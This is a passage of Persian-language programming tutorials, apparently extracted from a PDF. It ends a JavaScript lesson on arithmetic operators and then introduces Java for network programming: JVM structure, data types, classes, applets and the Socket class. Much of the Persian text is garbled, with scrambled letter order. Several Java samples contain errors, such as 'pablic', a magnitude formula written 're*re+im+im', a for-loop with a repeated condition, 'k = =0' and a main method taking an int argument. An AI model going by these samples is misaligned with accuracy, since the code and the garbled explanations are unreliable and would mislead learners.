  : به مثال زیر توجه کنيد . خواهد داشت ) صفر(
 
a=true 
b=false 
c=a-b 
d=b-a 

  
  d=0-1=-1:  و همچنين c=1-0=1: در نتيجه خواهيم داشت 

  
ام عمل ضرب از    . حال عملگر ضرب را بررسی می کنيم  . با هم متفاوتند b-a و a-bدر این مورد نيز      رای انج يم     * ب تفاده می کن . اس

  .اشاره نمود که به صورت زیر تعریف می شود ) چه صحيح و چه اعشاری(در این حالت می توان به ضرب دو عدد 
 
c=a*b 
 

  . در مثال زیر به این مطلب اشاره شده است .  نسبت داده شود c ضرب شود و حاصل به متغيير b در aبدین معنی که متغيير 
 
a=12 
b=3 
c=a*b 
d=b*a 

: در نتيجه داریم  c=d=36 
 

ی       ذارد یعن ی گ رب نم واب ض اثيری در ج داد ت ای اع ویض ج رب تع ه در ض د ک شاهده کردی    .a*b=b*aم
ته      ر عددی حاصل رش ته ای در یک متغيي ر رش ا یک متغيي ر رشته ای ی ود  NaNدر صورت ضرب دو متغيي د ب وان . خواه پس نميت

ه شد ،    . حال به ضرب متغيير های منطقی می رسيم      . ضرب نمود    متغيير رشته ای را در هيچ نوع متغيير دیگر         ه گفت  trueهمانطور ک
  :در ضرب متغيير های رشته ای سه حالت پيش می آید .  مفهوم صفر دارد Falseمفهوم یک و 

  
  . خواهد بود ١ ، حاصل Trueدر صورت ضرب دو متغيير منطقی  _ ١
  .صفر خواهد داشت  نيز حاصل falseضرب دو متغيير منطقی  _ ٢ 
   . ، جواب صفر بدست خواهد آمد False در یک متغيير Trueدر ضرب یک متغيير منطقی  _ ٣ 
  

 خواهد ١صورتی جواب برابر ر د داشت و فقط د     خواهي ١و٠پس به این نتيجه می رسيم که در ضرب متغيير های منطقی فقط دو جواب                
سيم       . باشد    ی در ضرب شرکت نداشته     Falseبود که هيچ متغيير      تفاده از آن در         . و اما عملگر تق ا اس وان ب ه می ت  عمل  JSعملگری ک
فرض کنيد ما دو  .اولين موردی که از این عملگر بررسی می کنيم ، حالت تقسيم دو متغيير عددی است                 . است  » / « تقسيم را انجام داد     
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ه           .ته باشيم    داش ٨ و   ٢٤ با مقادیر عددی     number2 و   number1متغيير با نام های      ر را ب ن دو متغيي ين ای سيم ب وانيم عمل تق حال می ت
ورت  دد  number2/number1 و number1/number2دو ص ه ع ت اول نتيج ه در حال يم ک ام ده دد ٣ انج ت دوم ع  و در حال

  .  خواهد بود ٠٫٣٣٣٣٣٣٣٣٣٣٣٣٣٣٣٣
  

   . رقم اعشاری محاسبه می کند١٦ در حالت اعشاری فقط تا JSزبان  : ١نکته 
  

   به معنی بينهایت خواهد بود Infinityدر عمل تقسيم هر عددی بر عدد صفر ، حاصل برابر با رشته  : ٢نکته 
  

ر های منطقی ، حالت      .  خواهد بود NaNدر تقسيم یک متغيير رشته ای به یک متغيير عددی و بلعکس حاصل برابر با         سيم متغيي در تق
  .های زیر به وجود می آید 

  
   خواهد بود ١ حاصل برابر با True بر Trueیک متغيير منطقی در تقسيم _ 
  خواهد بود Infinity حاصل برابر با رشته False بر Trueدر تقسيم یک متغيير منطقی _ 
   حاصل برابر با صفر خواهد بود True بر Falseدر تقسيم یک متغيير منطقی _ 
   خواهد بود Infinityر با رشته  حاصل برابFalse بر Falseدر تقسيم یک متغيير منطقی _ 
  
  

در پایان سوالی را .  به پایان رسيد ، تعدادی از عملگر های دیگر را در زمان نياز شرح خواهم داد   JSبخش مهم و اصلی عملگر ها در        
  .که تعداد فراوانی از دوستان پرسيده بودند به همراه پاسخی که داده ام در اینجا قرار می دهم 

  
ان معرفی   ,ه به اینکه فواصل بين کلاس های شما زیاد است   با توج : سوال   لطفا کتاب یا سایت مناسبی را برای مطالعه در بين کلاس هایت
  نمایيد

  
  

نم          . باز هم از همه شما با خاطر وقفه بين کلاس ها عذر می خوام         : پاسخ   شنهاد نمی ک ابی را پي اب های فارسی من هيچ کت در مورد کت
و اما در مورد کتاب های انگليسی من  .  نوشتن JSه تنها مطالب مفيدی ننوشتن بلکه مطالب اشتباهی هم در مورد        چون بسياری از انها ن    

اب  . مفيد هستند % ١٠٠ رو پيشنهاد می کنم که O'Reillyکتابهای کمپانی  انی را   JAVA SCRIPTکت ن کمپ  David Flannagan ای
اب            .اب به صورت آنلاین و مجانی قابل دسترسيست          این کت . نوشته و این کتاب کاملا استاندارد است         ن کت ود ای ه زودی لينک داونل من ب

  ... رو با کمترین سایز ممکن براتون ميزارم تو یکی از درس ها 
  

  http://www.oreilly.com: آدرس سایت کمپانی 
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  : در برنامه نويسی شبکه  JAVA زبان برنامه نويسی  و معرفیآموزش
  

  مهندس احسان ملکيان: ده نویسن
  

  )WhiteHat Nomadsعضو گروه امنيت (  ؛ ) عضو هيات علمی دانشگاه تربيت معلم تهران( 
  

  ؟) : نامه برقی(پست الکترونيک 
  
  
  

   در برنامه نويسی شبکهJAVAآموزش و معرفی زبان برنامه نويسی 
  
  
  
  
  
  قدمهم
 

 به یوابستگ عدم مثل یاهداف و است شده گرفته ++C و C از ميمستق بطور گفت توانيم که ست اگرا ئيش یسینو برنامه زبان کی جاوا
وان يم یا دغدغه چيه بدون یعنی .است کرده یساز ادهيپ ییبایز نحو به را ابدی دست بدان نتوانست عمل در ++C  که اجرا نيماش ر  ت  ب
اوا  زبان به یا برنامه MS-Windows عامل ستميس بر یمبتن نيماش کی یرو ر  را آن و وشت ن ج ر  یمبتن  ینيماش  یرو ب  کسيونی  ب
 ها نگاه ناگهان ++C  زبان اوج دوران در جاوا تا شد باعث و شديم محسوب نترنتیا هشبک ازين ینوع به واقع در تيقابل نیا .کرد اجرا
 .ودش لیتبد شبکه یسینو برنامه یبرا مطمئن ، یابزار به سال چند عرض در وب همانند و کند خود فمعطو را

ه  شده  نوشته یبرنامهها ضعف نیبزرگتر ان  ب ان  ت شکالا  ااز دسته  آن++C زب ه  است  پنه ه  یآزادر اث  در ک و  برنام د  در سین  تیریم
رد  برطرف  را ضعف  دو نیا ، حافظه تیریمد تقبل و گرها اشاره حذف با جاوا .دیآ یم دیپد برنامه در ، گرها اشاره با کار و حافظه  ک

  .شد مبدل امن یسینو برنامه زبان کی به و
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افزار  شرکت  نی ا یکيالکترون لوازم یبرا تا کردند معطوف نيگر هپروژ به را خود توجه سان شرکت نيمهندس کهيهنگام  شرفتهي پ نرم
د  دیجد یزبان خلق فکر به نرویا از ، دارند یینارسا نکاریا یبرا++C  و C  یها لریکامپا که افتندیدر ، بسازند ه  افتادن دا  در ک  Oak  ابت

را  سان  شرکت  ، شرفتيپ نیا دنبال به .داد نام رييتغ جاوا به یمدت از پس و گرفت نام اوا  یب ه  ساخت  مرورگر  کی  ج  در توانست يم ک
  .کند اجرا را جاوا یها برنامه قطعه وب طيمح
  

  یزبانها با که یخنث یعمارم با  یسمانیر چند” یها برنامه از تیحما در توانمند ، گرا یش ، حمل قابل ، منیا ، ساده است یزبان جاوا
C و C++کرد خلاصه ریز موارد در توانيم را تفاوتها نیا .دارد ییتفاوتها:  
 

ال  نیا ، ندارد وجود یگر اشاره جاوا در شد اشاره زين قبلاً که همانطور : گرها شارها • ه  ست  ایدرح وان يم ++C/C در ک  از ت
وان ن شودي م باعث  امر نیا .کرد استفاده گر اشاره د  یبخوب  را حافظه  ت رد؛  تیریم ه  ک تفاد  هرگون  یريبکارگ  در نامناسب  هاس
  .کند متوقف را ، برنامه حداقل توانديم++C/C  یها برنامه در گرها اشاره

  
اوا  که يحال در ، وني ونی و استراکچر کلاس : دارد وجود داده انواع از نوع سه  ++C زبان در : ها ونيوني و ها استراکچر •  ج

 ري نظ ییها داده از را سینو برنامه ، “کلاس” وجود ++C  مثل گرا یش یسینو برنامه زبان کی در  .است کلاس شامل فقط
 چيه جاوا در که یحال در کند یبانيپشت آنها از بود مجبور C  با یسازگار یبرا ++C یول ، کنديم ازينيب ونيونی و استراکچر

 .نداشت وجود آنها فیتعر در یالزام
 

دارد  یتابع چيه اواج : وابعت • را  یش  چون  ، ن ه  و است  گ و  برنام ور  را سین ه  مجب تفاده  ب د  از اس ا  مت د يم 1 کلاس  یه  در ، کن
 .ندارد مطابقت ییگرا یش مفهوم با چندان که ، شدهاند فیتعر زين توابع ، کلاس از ريغ به++C  در کهيحال

  
ه  گانه چند وراثت: ت چند گانه راثو • ه  معناست  نی ا ب د  از ار کلاس  کی  ک ه  ميکن  مشتق  گر ید کلاس  چن اوا  در عمل  نی ا ک  ج

  .شوديم خطا و یدگيچيپ باعث و بوده مشکل اريبس کار نیا++C/C در کهيحال در ، است ریامکانپذ یبراحت
  

ا  رشته • اوا  در : ه تهها  ، ج وان  را رش را  یش  یساختار  ++C/C در که يحال در می دار هي اول کلاس  اياش  بعن را  گ شت  یب  یبانيپ
  .میندار یمتن یرشتهها

  
اوا  در یول شوديم استفاده شيکماب دستور نیا++C/C در: goto دستور •  یول  است  یدي کل کلمات  جزو  دستور  نی ا اگرچه  ج

 .است شده جاوا در خطا کاهش باعث ، افتهی ساختار ريغ پرش دستورات از یبانيپشت عدم .شودينم یبانيپشت آن از استفاده
• Operator overloading : خلاف بر اجاو در C/C++ یدگي چيپ تا شودينم یبانيپشت ها اپراتور عملکرد رييتغ ییتوانا از 

  .شود کمتر زبان
  

دار  سپس و ديکن فیتعر float مثل ینوع از را رييمتغ کی ديتوانيم شما ++C/C زبان در : نوع خودکار ليتبد • ل  یمق  int  مث
ا  یريسختگ نگونهیا .شد ديخواه مواجه خطا غاميپ با افور ديده نجاما جاوا زبان در را عمل نیا اگر یول ، ديبده نسبت آن به  ه
  .است داده ريچشمگ یشیافزا را جاوا یذات تيامن ،

  
 رهيذخ یها آرگومان تعداد argc که کنديم ارسال برنامه به را argv و argc پارامتر دو ++C/C : فرمان خط یها آرگومان •

اراکتر  از یا هیآرا به گر اشاره کی argv هکيحال در ، کنديم مشخص را argv در شده ا  ک ا  .ست  اه ا  اشاره  حذف  ب  در گره
  .است فرمان خط پارامتر نياولargs[0] شد استفاده args  از argv  یجا به ، جاوا

 
ا  اشاره  ++C/C عمده مشکل که شوديم تکرار شتريب ديتاک یبرا • د  و گره د  که يحال در است  حافظه  تیریم  در حافظه  تیریم

 ای  حافظه  بلوک  کی  ++C در یوقت  که ديکن دقت نکته نیا به هيقض شدن مشخص یبرا .شوديم انجام خودکار بصورت جاوا
ه  موظف  خودتان ، ديکنيم()new را کلاس کی ام  و ديهست  آن یآزادساز   ب دادن  انج ار  نی ا ن  .شودي م محسوب  اشکال  کی  ک

ا  هی آرا با کار .است جاوا خود هبرعهد مصرف یب اياش از حافظه یپاکساز اوا  در ه س  ج انتر  اريب ئن  و آس ر  مطم  چون  است  ت
  . باشنديم کلاس کی از یعضو ، زبان نیا در ها هیآرا

 
• C++ ه  کنديم تیحما میقد سبک به یسینو برنامه موازات به ییگرا یش اصول از اوا  در حالت  نی ا ک دارد  وجود  ج اوا  و ن  ج

  .ست اگرا یش صد در صد
  

 یها کد به آنرا بلکه ، کند ینم لیتبد Apple ای IBM مثل خاص نيماش کی ییاجرا یها کد به را شده شتهنو برنامه کی جاوا لریکامپا
 یمجاز نيماش کی یاسمبل زبان بلکه ، ستين یها پردازند چيه به مختص که کنديم ترجمه JVM 1  نام به یفرض نيماش کی ییاجرا
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 تی با یحاو  یاني م لی فا کی جاوا برنامه کی هترجمه جينت نیبنابرا .شوديم فتهگ “کد تيبا” یمجاز نيماش نیا ییاجرا یها کد به .است
 یمجاز  دستورات تا کند استفاده“جاوا یاجرا زمان مفسر” از است موظف کند اجرا را جاوا برنامه کی بخواهد که نيماش هر .است کد

 JVMخودش یبرا نيماش هر .شود لیتبد نيماش کی از یواقع ییاجرا یها کد به  JVMساختار از فارغ جاوا گونه نیبد .دارد خاص 
  :است ریز بصورت نيماش کی در جاوا یکاربرد یها برنامه یاجرا  هنحو .شوديم اجرا و ترجمه ، نيماش

  
  

  
  
  

  : باشديم ریز مهم بخش پنج یدارا (JVM)جاوا یمجاز نيماش
  

 گر عمل و وند عمل قسمت دو شامل (یمجاز یول) ییجراا یدستورالعملها عنوان به کدها تیبا : کد تيبا دستورات جموعهم •
 ای  کی  به JVM توسط یمجاز یدستورالعملها نیا .دارد خود به مخصوص کد تیبا کی جاوا در هياول هداد نوع هر .باشنديم

  .شونديم لیتبد نيماش کی از ییاجرا دستورالعمل چند
 

 .هستند یتيب 32 یهمگ ، اواج یمجاز نيماش در ها ستريرج همجموع : ها ستريرج جموعهم •
را  یسینو برنامه یزبانها گرید در که است ییها پشته مثل قاًيدق JVM در پشته : پشته • ا  یب ارامتر ل ارس ه  پ ع  ب  هري ذخ و تواب

د  یمحل یرهايمتغ که دارد یا پشته خود یبرا جاوا زبان در کلاس کی از متد هر .شوديم استفاده آن از 4 یمحل یرهايمتغ  مت
  .رنديگيم قرار پشته نیا در ، متد به یارسال یپارامترها و آن یاجرا طيمح ،

  
ه  است  حافظه از یقسمتJVM  برنامه یکار یفضا : یکار یفضا • ه  ک و  برنام ادر  سین ه  ق  خود  بلکه  ، ستي ن آن در دخالت  ب

د  را قسمت نیا هحافظ ، لریکامپا د يم تیریم زوم  صورت  در و کن ضا  ل را  ای  داده صيتخص  را ییف د يم دآزا آن  دست  یعن ی .کن
ورد  یفضا یآزادساز و صيتخص عمل و شده کوتاه حافظه به مجاز ريغ یدسترس از سینو برنامه ه  حافظه  ازي ن م ا  ب  لریکامپ
  .است شده محول

  
   .شوديم رهيخ  حافظه از یخاص قسمت در که است یتيب 8 یفضا کیJVM  یمتدها یفضا : ها متد یساز رهيذخ یفضا •

  
  
  واجا در داده نواعا
  

 یبرا که C زبان برخلاف .دارد تیبا حسب رب مشخص هانداز کی ، نوع هر اند شده فهرست جدول در که دارد یاصل داده وع ن٨ جاوا
اوا  زبان ، شوديم گرفته نظر در تيب ۶۴ یا ٣٢ ، ١۶ نيماش یمعمار نوع به بسته حيصح نوع هداد را  ج وع  نی ا یب ط  داده ن  تي ب ٣٢ فق
ه  شوديم باعث که است آن ایمزا نیا از یکی .آورد یم وجود به جاوا زبان یبرا ییایمزا نکته نیا که رديگيم نظر در واع  یرو برنام  ان
  .دهد ارائه واحد جهينت و کند کار شکل کی به یتيب ۶۴ ، ٣٢ ، ١۶ یها نيماش
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 جاوا در یاصل هداد انواع
  
  
ا  یدارا ئيش  هر  .است ئيش کی یزيچ هر جاوا رينظ گرا یش یزبانها در ار  از یمجموعه ود  یکسر ی و است  صفات  و  رفت  زي ن  مت
ار  نکه یا یبرا .دهد انجام را یعمل چه میيبگو یش به که است نیا یبرا راه تنها رفتار .دارد وجود اياش به یدسترس یبرا  ئيش  کی  رفت
 از خارج  که یتوابع جاوا ++C برخلاف .باشنديم نهازبا گرید در توابع به هيشب ها متود نیا که ديکن جادیا متود کی ابتدا دیبا دیبساز را
 از یسطح چه با و ییبرنامهها چه که ديکن نييتع ديتوانيم دیکرد فیتعر را ئيش کی اگر .ندارد ، باشند شده فیتعر جداگانه و کلاسها  ،

د  ای کی شامل  ، جاوا برنامه کی .باشند داشته وجود تواننديم ئيش نیا به یدسترس سته  چن ه  باشد يم  ب دام  هر  ک سته  نی ا از ک ا  ب  خود  ه
  .باشنديم استفاده قابل ها برنامه يهبق توسط و هستند کلاسها فیتعار شامل

 
د  کلاس  ای کلاس ریز توانديم کلاس هر .شوند ديتول برنامه یاجرا نيح در و ایپو صورت به تواننديم جاوا در اياش  (Super Class) وال

   و اتيخصوص والد کلاس از شهيهم کلاس نیا .باشد داشته
د  کلاس  یداخل  یرهايمتغ به توانينم شهيهم البته . برديم ارث به را روشها و رفتارها ستق  یدسترس  وال ستق  یدسترس  .داشت  ميم ه  ميم  ب

   .باشند شده فیتعر public بصورت ها رييمتغ آن که است ریامکانپذ یشرط به ، والد کلاس یرهايمتغ
 

ه  میازپرديم یمثال ارائه به حال وم  ک ی گرا یش  از یمفه ال  هارائ  در .دارد خود  در را ی رده  فرض  مث ه  می ا ک ا  ک نا  ++C اصول  ب  ییآش
د يم مشخص را کلاس دو که میدار (pakage) بسته کی ، مثال نیا در .دیدار ه  دي دانيم د؛ی ريبگ نظر  در را مختلط  عدد  کی  .کن  نی ا ک
  :است یموهوم و یقيحق قسمت دو شامل عدد نوع

 
class ComplexNumber { 
 

 // .ميشود ایجاد مختلط متغير برای شيئ یک //
protected double re, im; 
 

 // ند امخفی و نيستند دسترس در کلاس از خارج در قسمتها این موهومی و حقيقی قسمتهای تعریف //
 // .ميکنند پردازش و استفاده را بالا پنهان متغيرهای زیر متود پنج //

 
pablic void Complex (double x, double y) { re=x; im=y;} 
public double Real() {return re;} 
public double Imaginary() { return im; } 
public double Magnitude ( ) { return Math.sqrt (re*re+im+im); } 
public double Angle() {return Math.atan(im/re);} 
class test { 
 

 // بالا کلاس از استفاده برای جدید کلاس یک تعریف //
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public static void main (String aras[ ] ) { 
ComplexNumber C; 

  
 // بالا تعریف با مختلط متغير نوع از شيئ یک تعریف //

 
C=new ComplexNumber(); 

  
 // .ميشود توليد حافظه در مختلط متغير نوع از شيئ //

C. Complex (3.0, 4.0); 
  

  //مختلط متغير نوع از شيئ یک به اوليه دهی مقدار //
 

System.out.println ("The magnitude of C is " + C. Magnitude() ); 
} 
} 

  
 یکلاسها توسط توانندينم ها ريمتغ نیا .هستند یتيب 64 یاعشار اعداد دو هر که باشديم im  و re  ريمتغ دو شامل ئيش هر مثال نیا در
ل  یعن ی شوند  یدستکار  گر ید وع  از چون  ، ستندي ن یدسترس  قاب د  شده  فی تعر protected ن ا  ري متغ نی ا اگر  . ان وع  از را ه  ن

publicستين ديمف مطلقاً حالت نیا و بودند یدسترس و تیرو قابل ها ريمتغ نیا جا هر در بسته هر یبرا میکرديم فیتعر. 
  

  :ديکن توجه گرید یمثال به حال
 

class Factorial { 
public static void main(int argc, String args[ ]) // اصلی برنامه بدنه 
long i, f, lower=1, upper= 20 ; // بایتی چهار صحيح متغير چهار تعریف 
for (i=lower ; i<=upper ; i<=upper; i++) { // C++ زبان با مشابه دقيقاً حلقه یک 
F= factorial(i) ; //f=i! 
System.out.println (i+ " " +f); // print i and t 
} 
} 
static long factorial (long k) { // فاکتوریل فراخوان خود تابع یک تعریف 
if (k = =0) 
return 1; // 0! = 1 
else 
return k * factorial (k-1); // k! = k+ (k-1)! } 
} 

  
ه  یاصل  کلاس ابتدا بالا مثال در ه  برنام ام  ب ابع  سپس  و هشد  فی تعر Factorail ن ه factorial ت وان  ب ود  عن  فی تعر کلاس  نی ا از یمت
   .است شده یفراخوان factorial متود ، دارد نام main  شهيهم که برنامه کلاس یاصل متود در .است دهیگرد

 
  Applet  اپلت

  
وده  یدسترس  قابل نترنتیا هدهند سیسرو کی یرو و رديگيم قرار وب هصفح کی درون که است یکوچک برنامه ای برنامه زیر اپلت  ب
وان يم باشد 1 جاوا مفسر به مجهز مرورگر که یشرط به لبته اشوديم اجرا یمشتر نيماش یرو بر وب سند کی از یبخش عنوان به و  ت
  . د کر مشاهده را آن
  

ا  یول شونديم فیتعر وب هصفح درون APPLET برچسب با ها اپلت ه  یخارج  یلیف د یآ یم  حساب  ب تفاده  جهت  اپلت  چون   .ن  در اس
 دی با ديده قرار وب صفحه در را اپلت کی ديخواهيم کهيهنگام .است یمعمول برنامه کی از تر دهيچيپ یکم لذا شوديم نوشته وب طيمح
ان  از استفاده با بعد و کرده لیکامپا آنرا سپس ، دیبساز را اپلت آن ازين مورد یکلاسها تمام ابتدا  و ساخته  وب صفحه  کی HTML  زب
را  ، ستندي ن فرمان خط یدارا ها اپلت چون .ديکن فیتعر وب صفحه درون ار اپلت تادن  یب ان  فرس ا  آرگوم اوت  یه  برچسب  از دی با متف

<APPLET> ميکن استفاده.   



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ١٠٢٧    صفحه

 
  :دارد وجود اپلت کی یاجرا یبرا راه دو
  

ا  سازگار  مرورگر  کی  داخل  اپلت نمودن اجرا • اوا  ب ل  ج تفاده  Netscape Navigator  مث ه  Applet Viewer از اس  نی ا ک
را  که ، کنديما اجر ، پنجره کی در و مرورگر از خارج را اپلت ، برنامه ا  اپلت  از یی زدا اشکال  یب  آسان  و عیسر  یراه  ه

 .شوديم محسوب
  

 اآنه  قی طر از ندارند وب صفحات که ییها تيقابل تا شده گرفته نظر در مرورگر طيمح در اجرا یبرا و است ییاجرا برنامه کی اپلت
 عمداً دینبا ییاجرا برنامه نیا .شوديم اجرا کاربر نيماش یرو و ارسال ، وب کاربران یبرا وب صفحات همراه به ها اپلت .شود فراهم

ا  سهیمقا در ها اپلت لذا کند؛ وارد کاربر ستميس به یصدمها باشد قادر سهواً ای ا  ب ول  یبرنامهه ه  یمعم ه  ک ان  ب اوا  زب  ، شوندي م نوشته  ج
 : است ریز یتهایودمحد یدارا

  
 

  .ستين لیفا ستميس به یدسترس به قادر ، خواندن یبرا آنهم و دیشد نظارت تحت و محدود موارد در جز پلتا •
 

  .ستين خود هکنند اجرا نيماش یرو یا برنامه چيه یاجرا و یفراخوان به قادر پلتا •
 
 در ها اپلت یول ، ردیپذيم انیپا  { علامت با تیدرنها و شوديم شروع } ()mainبلوک با یاصل برنامه هبدن ، یکاربرد یها برنامه در

 :شوديم فیتعر ریز شکل به اپلت کی هبدن یکل صورت .ندارند()main متود جاوا
  
 

public class Example extends java.applet.Applet { 
… 
} 

  
ام  و هبرد ارث به راApplet   هشد فیتعر شيپ از کلاس Example کلاس ، فیتعر نیا با دمات  تم ه  را  یمق را  اپلت  کی  ک  و فعل  یب

   .شوند اجرا ) مرورگر یرو ( وب هصفح کی در مستقل بصورت تواننديم اپلت نیچند .آورديم فراهم ، دارد مرورگر با انفعال
 
ار  خود یخود هب ها متود نیا که برديم ارث به را یاديبن و یاصل متود نیچند ، ديکنيم فیتعر اپلت صورت به را کلاس کی یوقت  یک

ورد  پنج .کند 1 “یسینو دوباره و باطل” را ها متود نیا دیبا سینو برنامه ، شود یاتيعمل اپلت کی آنکه یبرا .دهندينم انجام  یاتي ح از م
   :از عبارتند ها متود نیا نیتر
 

init() start() stop() destroy() paint() 
  
   .باشنديم()init و()paint یها متود دارند یسیون دوباره به اجياحت هيبق از شيب که یمتود دو
  

  : ()paint  متود •
  
ا  اپلت  یخروج هپنجر در بخواهد که یزيچر ه .دارد اجياحت بدان سینو برنامه که است یاپلت هر یها متود نیمهمتر از یکی  داده شینم

   :است ریز بصورت آن یسیبازنو و ردیپذ یم مانآرگو کی فقط ()paint متود .بود خواهد ریامکانپذ متود نیا از استفاده با ، شود
 

public void paint(Graphics screen) { 
/ / display statements go here 
} 

  
ی  اياش  از Graphics کلاس  .است  یک يگراف ئيش  کی  ، متود یورود آرگومان بالا مثال در شک  ی ه  شده  ليت د يم ک ه  توانن  و صفات  هم

ا  ، پنجره  یرو اطلاعات  هي بق و کي گراف ، متن انعنو به است ازين که را رفتارها رل  شوند  داده شینم د  کنت  یش  کی  از شما  اگر  .کنن
Graphics دستور ، ديکنيم استفاده تان اپلت در import فیتعر از قبل را  class دیاوريب برنامه لیفا یابتدا در:  

 
import java.awt.Graphics; 
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   :()init  متود •
  

 به هياول یده مقدار و کردن ميتنظ یبرا واقع درinit  متود نیبنابرا شود؛يم اجرا ، مرورگر در اپلت یگذار بار نگامه آنهم و کباری فقط
 نوع ميتنظ یبرا مناسب ییجا متود نیا ، شنهاديپ کی عنوان به .شوديم استفاده ند اازيند رمو اپلت یاجرا طول در که ییرهايمتغ و اياش
  .باشديم صفحه نهيزم پس رنگ و قلم رنگ  فونت قلم
  

   :  ()start متود •
  
ا  ، باشد  شده متوقفا موقت ()stop متود ازه استفاد با اپلت اگر .کرد خواهد کار به آغاز و شده یانداز راه اپلت ، متود نیا با ود  نی ا ب  مت
  .شوديم یسینو هدوبار متود نیا در ، است ازين مورد اپلت کی  یراهانداز یبرا که یاتيعمل .شوديم سرگرفته از
  

   :() stop  متود •
  

 به و کنديم رها را اپلت املش وب صفحه کی کاربر کهيزمان شد خواهد متوقف اموقت اپلت یاجرا ، شود زده صدا متود نیا که یهنگام
 را اپلت  و زده صدا  ميمستق صورت به را متود نیا توانيم البتهد يشوم یفراخوان خودکار بطور متود نیا ، روديم گرید یصفحها سراغ
  .آورديم فراهم ، متود نیا یسینو دوباره با را اپلت توقف یبرا لازم داتيتمه سینو برنامه کرد متوقف

  
  :()destroy  متود •

  
 که را ییکارها است موظف سینو برنامه .شوديم یفراخوان ، اپلت یاجرا به دادن انیپا منظور به()init متود برخلاف درست متود نیا
  .کند یسینو دوباره قسمت نیا در ، شود انجام اپلت هخاتم گامهن در دیبا
  

ر  !Hello Web هساد غاميپ و شده اجرا مرورگر طيمح در که ميسیبنو اپلت کی ميبخواه ديکن فرض مثلاً ا  آن هپنجر  یرو ب د ی شینم  .اب
 :بدهد شینما را غاميپ یخروج هپنجر یرو بتواند تا دارد()paint متود یسیبازنو به ازين فقط یاپلت نيچن
 

import java.awt.Graphics; 
public class HelloWeb extends java.applet.Applet { 
public void paint( java.awt.Graphics gc ) { 
gc.drawString("Hello Web!", 125, 95 ); 
} 
} 

  
 یرو دیجد لیفا کی ، وب صفحه کی جادیا یبرا .کند یگذار بار را اپلت که ديکن جادیا یوب صفحه است لازم ، اپلت کی یاجرا یبرا
را  سپس  .دي کن رهيذخ html پسوند با آنرا ، ریز همانند ساده وب هصفح کی نوشتن از پس و کرده باز یمعمول گر شیرایو  طيمح  در آن

 :د يکن باز تان مرورگر
 
  

<html> 
<head> </head> 
<body> 
<applet code=HelloWeb width=300 height=200> 
</applet> 
</body> 
</html> 

  
ارامتر  و پنجره طول width پارامتر ، بالا کد قطعه در اع height  پ ا  هپنجر  ارتف د يم مشخص  را اپلت  شینم الا  اپلت  یخروج  کن ه  ب  ب

  :است شده داده نشان مرورگر شکل در گرید یمثال عنوان ه ببود خواهد طيمح در ریز عامل پنج با اپلت کی صورت
  
  Choice menu انتخاب منوی -٣       Panel  پانل -٢           TextField   متنی دادههای دورو فيلد -١
  
  Button فشاری کليد -Canvas                          ۵ گرافيک ترسيم صفحه -۴
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  مرورگر طيمح در نمونه اپلت کی یخروج
  
  
  

  
  

  رمرورگ طيمح در کنترل عامل پنج با نمونه اپلت کی یخروج
  
 

import java.awt.*; 
import java.lang.*; 
import java.io.*; 
import java.applet.*; 
// This program illustrates a simple applet with a TextField, 
// Panel, Button, Choice menu, and Canvas. 
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public class Example1 extends Applet { 
TextField tf; 
DrawCanvas c; 
Button drawBtn; 
Choice ch; 
// Add the Components to the screen.. 
. 
public void init() { 
// Set up display area... 
resize(300,200); 
setLayout(new BorderLayout()); 
// Add the components... 
// Add the text at the top. 
tf = new TextField(); 
add("North",tf); 
// Add the custom Canvas to the center 
c = new DrawCanvas(this); 
add("Center",c); 
// Create the panel with button and choices at the 
bottom... 
Panel p = new Panel(); 
drawBtn = new Button("Draw Choice Item"); 
p.add(drawBtn); 
// Create the choice box and add the options... 
ch = new Choice(); 
ch.addItem("Rectangle"); 
ch.addItem("Empty"); 
ch.addItem("Text"); 
p.add(ch); 
add("South",p); 
} 
// Handle events that have occurred 
public boolean handleEvent(Event evt) { 
switch(evt.id) { 
// This can be handled 
case Event.ACTION_EVENT: { 
if(evt.target instanceof Button) { 
// Repaint canvas to use new choices... 
c.repaint(); 
} // end if 
return false; 
} 
default: 
return false; 
}} 
// Return the current choice to display... 
public String getChoice() { 
return ch.getSelectedItem(); 
} 
// Return the text in the list box... 
public String getTextString() { 
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return tf.getText(); 
}} 
// This is a custom canvas that is used for drawing 
// text, a rectangle, or nothing... 
class DrawCanvas extends Canvas { 
Example1 e1app; 
// Constructor - store the applet to get drawing 
info... 
public DrawCanvas(Example1 a) { 
e1app = a; 
} 
// Draw the image per the choices in the applet... 
public synchronized void paint (Graphics g) { 
// Get the current size of the display area... 
Dimension dm = size(); 
// Draw based on choice... 
String s = e1app.getChoice(); 
// Calculate center coordinates... 
int x,y,width,height; 
x = dm.width/4; 
y = dm.height / 4; 
width = dm.width / 2; 
height = dm.height / 2; 
// Paint a rectangle in the center... 
if (s.compareTo("Rectangle") == 0) { 
// Draw the rectangle in the center with colors! 
g.setColor(Color.blue); 
g.drawRect(x,y,width,height); 
g.setColor(Color.yellow); 
g.fillRect(x + 1,y + 1,width - 2,height - 2); 
} // end if 
// Get the text in the applet and display in the 
middle... 
if (s.compareTo("Text") == 0) { 
String displayText = e1app.getTextString(); 
g.setColor(Color.red); 
g.drawString(displayText,x,y + (height/2)); 
}}} 

 
 
  سوکت نويسی برنامه برای جاوا مکاناتا
  

java.net و ها سوکت ، شبکه با کار یبرا ییها کلاس شامل که است جاوا یها بسته از بسته کی URLنوع دو بسته نیا در .ست اها 
   :است شده فیتعر شبکه یسینو برنامه یبرا استریم  سوکت کلاس

  
  .ت اس یمشتر سمت در داده همبادل و ارتباط یبرقرار جهت یکلاس : Socket  کلاس •

  
  .استه دهند یسسرو سمت در داده همبادل و ارتباط فیتعر جهت یکلاس : Server Socket  کلاس •

 
  :شونديم یمعرف ریز در آنها نیمهمتر که شده فیتعر متود نیچند کلاس نیا در .ميدهيم قرار یبررس مورد راSocket  کلاس ابتدا
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Socket(String host, int port) 
Socket(InetAddress address, int port) 
synchronized void close() 
InputStream getInputStream() 
OutputStream getOutputStream() 

  
 صورت دو به تواننديم و بوده مجزا فیتعر دو یدارا که هستندSocket  نوع کلاس“هسازند” یمتودها قتيحق در دوم و اول یمتودها
  :شوند استفاده

  
   : Socket(String host, int port) ) الف

  
را  اد یا یب ود  نی ا قی طر از سوکت  کلاس  ج ستق  ، مت ام  آدرس ماًيم ورت  هشمار  و نيماش  کی  هحوز  ن د  سیسرو  پ ورد  هدهن  در نظر  م

